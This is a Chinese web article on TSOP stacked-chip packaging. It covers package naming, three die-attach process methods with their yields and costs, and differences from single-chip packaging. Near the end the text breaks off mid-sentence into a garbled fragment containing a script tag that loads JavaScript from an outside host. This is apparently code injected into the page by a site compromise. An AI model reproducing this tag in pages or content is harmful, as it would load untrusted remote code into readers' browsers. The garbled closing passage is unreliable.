电子知识大全:TSOP叠层芯片封装介绍

年来,叠层芯片封装逐渐成为技术发展的主流。叠层芯片封装技术,简称3d封装,是指在不改变封装体尺寸的前提下,在同一个封装体内于垂直方向叠放两个以上芯片的封装技术,它起源于快闪存储器(nor/nand)及sdram的叠层封装。

  叠层芯片封装技术对于无线通讯器件、便携器件及存储卡来讲是最理想的系统解决方案。近年来,手机、pda、电脑、通讯、数码等消费产品的技术发展非常快,此行业的迅猛发展需要大容量、多功能、小尺寸、低成本的存储器、dsp、asic、rf、mems等各种半导体器件,叠层芯片技术因此也得到了蓬勃发展。

  3d封装技术的主要特点包括:多功能、高效能;大容量高密度,单位体积上的功能及应用成倍提升以及低成本。在nand的封装形式上,虽然发展最快的是sip,但是tsop仍然是大容量nand封装的一个主要解决方案。和sip相比,tsop更具有柔韧性,因为tsop可以通过smd制作成sd卡、minisd卡、cf卡或是集成到mp3/mp4、移动存储器等不同的终端产品中,而sip一旦完成组装,它就是成品了,不能再根据市场需求来进行调整。和另一种同样可以通过smd组装的pbga封装形式相比,tsop具有非常明显的成本优势。

  tsop叠层芯片封装技术

  单芯片tsop生产工艺流程比较简单,只需要经过一次贴片、一次烘烤、一次引线键合就可以了,流程如图1:

  我们可以根据封装名称来识别叠层芯片封装中有多少个芯片。比如,“tsop2+1”就是指一个tsop封装体内有两个活性芯片(activedie)、一个空白芯片(spacer),如果我们说“tsop3+0”,那就是说一个tsop封装体内有三个活性芯片、没有空白芯片,以此类推。

  图2是最典型的tsop2+1的封装形式剖面和俯视图,上下两层是真正起作用的芯片(activedie),中间一层是为了要给底层芯片留出焊接空间而加入的空白芯片(spacer)。空白芯片(spacer)由硅片制成,里面没有电路。

  我们以最简单的二芯片叠层封装(tsop2+x)为例查看其工艺流程:

  方法一,仍然沿用单芯片封装的液态环氧树脂作为芯片粘合剂、多次重复单芯片的工艺,其工艺流程如下:

  方法二,使用环氧树脂薄膜作为芯片贴合剂。这种方法需要改变原材料,用环氧树脂薄膜胶带替代传统的蓝膜(如spv224)。下图是使用环氧树脂薄膜胶替代蓝膜后装片工序的情形,装片完成后,环氧树脂薄膜就已经和芯片粘在了一起,在贴片工序时我们只需要将芯片贴到引线框架上,不再需要在引线框架涂一层液态环氧树脂,这就大大简化了工艺。工艺流程如下:

  采用上述两种方法来实现tsop2+1封装都是可行的。对比以上两种工艺,我们可以发现第二种工艺流程少了两次烘烤,方法二生产工艺简单、生产周期更短,而且,由于多次烘烤会造成引线框架氧化及芯片粘污,烘烤次数减少对提高成品率和减少可靠性失效也很有好处。

  将方法二简化,于是就得到了另一种实现两层芯片叠层封装的方法,即tsop2+0,采用环氧树脂薄膜作为芯片贴合剂,将两个芯片错开一点位置留出焊区域,仅一端有焊线。

  方法三,如果我们使用的设备可以同时完成多次贴片,那么实际的贴片工序就更加简单,即只有一次,这样它的生产工艺甚至比单芯片封装还简单。但是这种方法需要改变晶圆的生产工艺,将焊盘都放置在芯片的一端。

  上述三种叠层芯片的封装工艺,方法一使用环氧树脂银浆,成本低,但是工艺难度很高、成品率低,即使是最简单的tsop2+1其成品率能达到99.5%就几乎不可能再提升了,由于其工艺性差,目前不能使用在更高密度的封装中。方法二中虽然环氧树脂薄膜成本高,但是由于环氧树脂薄膜是在装片(w/m)的时候粘贴到芯片背面,不必考虑液态环氧树脂工艺的复杂性,所以工艺简单、成品率可达99.9%。方法三由于只有两次贴片(d/a)、一次引线键合(w/b),所以不仅工艺简单、成品率高,可以稳定在99.90%以上,而且成本相对也比较低。如果我们将成品率与成本相结合,最好的方法显然是第三种,成本最低、工艺最简单。但是,这种工艺有其局限性,需要改变芯片的制作布局,将焊盘布置在芯片的一端,如果晶圆的布线无法做到,则无法实现。

  第二、第三种方法都可以用于更高密度的封装中,tsop4+0、tsop5+0、tsop4+3等都是在tsop2+x基础上发展起来的。

  多芯片封装与单芯片封装的主要区别

  单芯片和叠层芯片封装的主要区别可以简单归纳为:

  1.由于我们需要将多个芯片叠加在一起,所以传统的单芯片的封装必须进行改进以适应叠层芯片封装,需要重复贴片(d/a)以引线键合(w/b)。

  2.由于封装体的外形尺寸没有变化,为了实现多芯片叠加,芯片的厚度就需要减薄,通常其厚度是单芯片的1/n(n是指堆叠层数)。

  3.叠层芯片的晶圆尺寸通常都在200mm以上,为?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计